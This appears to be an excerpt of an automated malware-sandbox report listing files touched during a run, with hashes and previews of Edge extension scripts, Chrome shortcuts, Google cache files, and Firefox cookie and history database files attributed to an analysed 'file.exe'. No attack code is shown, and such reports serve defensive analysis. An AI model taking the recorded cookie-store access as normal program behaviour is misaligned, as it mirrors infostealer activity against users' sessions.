SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir1772_21728618\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1772_21728618\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir1772_21728618\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 01:04:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9737737577435044
Encrypted:	false
SSDEEP:	48:8hd3Tvr7HXidAKZdA19ehwiZUklqeh0y+3:8b/Fry
MD5:	9DE8607CFA8DC2A1F56008AA323761EB
SHA1:	A0603505056D59964898FC280B0EB13E0D0FE8B3
SHA-256:	F8407DC25CA115449A551A1AC13992A2E17EAE4789A65B5F4DFC874DD6131216
SHA-512:	C7F933A50A18E002A8DD5B3CD515906EDD40D95A80244B717CABFFBC995CD8AA4C3DECB555A7190FDB341C7226E11058C38BF496DF185C495EE25A9B310740CA
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....[f-9+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 01:04:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.986349440858759
Encrypted:	false
SSDEEP:	48:8cd3Tvr7HXidAKZdA1weh/iZUkAQkqehby+2:88/f9QKy
MD5:	9521D7973CB4FCFF96535DA0408F3582
SHA1:	74FCB29AA69E2AAED372F08C7D1AB4BBC8DFCF53
SHA-256:	0CAC87CF05B52E8B1ABCBDDFC5D9D33A953A3C2767A9FFAE2989AE3A3B41A4FD
SHA-512:	2816174B10564A00A78DAE7D31E37846CBA2E1E699058329D18F8B3F2499E606C289B5C7545C6B5D2FB7CFE535E4ADCAF08B167ABEFA44177D8C3B7521B29689
Malicious:	false
Preview:	L..................F.@.. ...$+.,......\-9+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001205924751779
Encrypted:	false
SSDEEP:	48:8xcd3TvrsHXidAKZdA14tseh7sFiZUkmgqeh7sBy+BX:8x8/an/y
MD5:	DBEC526BB308E0E740927F55A2C8BAF8
SHA1:	D55DD826773C6CAEC215CD1821DB652DDA7421B9
SHA-256:	D0FF7CF09B68648F928F5C8930E9E4E9EFD4EDD8D1C8DAADB436657AF58D3B88
SHA-512:	F4EC80C577A613C4F6FBD94E9A54EFF0B0B196D1549D4F5CBF8BB8FD7CB37DF4620951D67600FA7800E310AC0C05A81F1F18341B8620018735A7A07F5C247FD9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 01:04:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9866302109657394
Encrypted:	false
SSDEEP:	48:8GBd3Tvr7HXidAKZdA1vehDiZUkwqehny+R:8O/cpy
MD5:	56765CD8E655C5A61B3C1052B56E39BD
SHA1:	A3FC824F5B07634CC34BA6B7873CB1C8C3941940
SHA-256:	45988DAAFD04179245A87850380DE77F0E4908C205AA800B1A69A9DE7F3A02E4
SHA-512:	7D34EDB932B5D298B200AC09E45D84941153FDFE42A0A21EECD0FFF098D0100FB012A39B7C70F421ADF7E735BE395016CB3B656739331E035BAD17DE47E1B076
Malicious:	false
Preview:	L..................F.@.. ...$+.,......X-9+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 01:04:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9747527919782226
Encrypted:	false
SSDEEP:	48:83d3Tvr7HXidAKZdA1hehBiZUk1W1qehVy+C:8l/s91y
MD5:	72960BA29EAB54E9D451F8FF3E371A36
SHA1:	ED4BA34D54CA9B417D51DA6B6E366335CFBBCF7B
SHA-256:	FD235AEBEFBE0F7E9E3297E29C23BF4BB077E2703BAE3D691120CC791A997329
SHA-512:	763D703963FA6229C0C4A6FB5409D5C239B5AC71BF94F06762052979875A11CAC3D7737C86876548DD4631CCB9D7888C930464A817DD739FAAEE918E80627321
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....4_-9+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 31 01:04:11 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9835830115609236
Encrypted:	false
SSDEEP:	48:80d3Tvr7HXidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb/y+yT+:8k/CT/TbxWOvTb/y7T
MD5:	265A88F7CD87E1B582A1B78C2557AA2A
SHA1:	CD90FD00037372DC4899934D1AB9368CC436A55B
SHA-256:	93322DF1973243C9937C2D6E642BEC1ED906647DD0F04A5DB2E055507E45FE02
SHA-512:	90EBEADB1717B79533BA0409DC4C6F510C0B3BA90E3395A5361C0DA93BB0FABFF221043D4FC8BF07DE7C553F997F479BF59FFD5523971261FBE7B1C144F4BDF5
Malicious:	false
Preview:	L..................F.@.. ...$+.,....p.N-9+..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I_Y......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V_Y......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V_Y......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V_Y............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V_Y.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............i.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (802)
Category:	downloaded
Size (bytes):	807
Entropy (8bit):	5.1474456134086966
Encrypted:	false
SSDEEP:	24:uhfEbwXgLluvMJa2BHslgT9lCuABuoB7HHHHHHHYqmffffffo:sEagLlO2KlgZ01BuSEqmffffffo
MD5:	2C71CACB90948EEBE41F8F8D08B7C989
SHA1:	36968EC2E66844F7CC6F5163FB7888286727AF08
SHA-256:	DC1791B3EF3F4525F1530F1FE7E4EE2FBD96EBF8E81CD7875BE248548C12EE7B
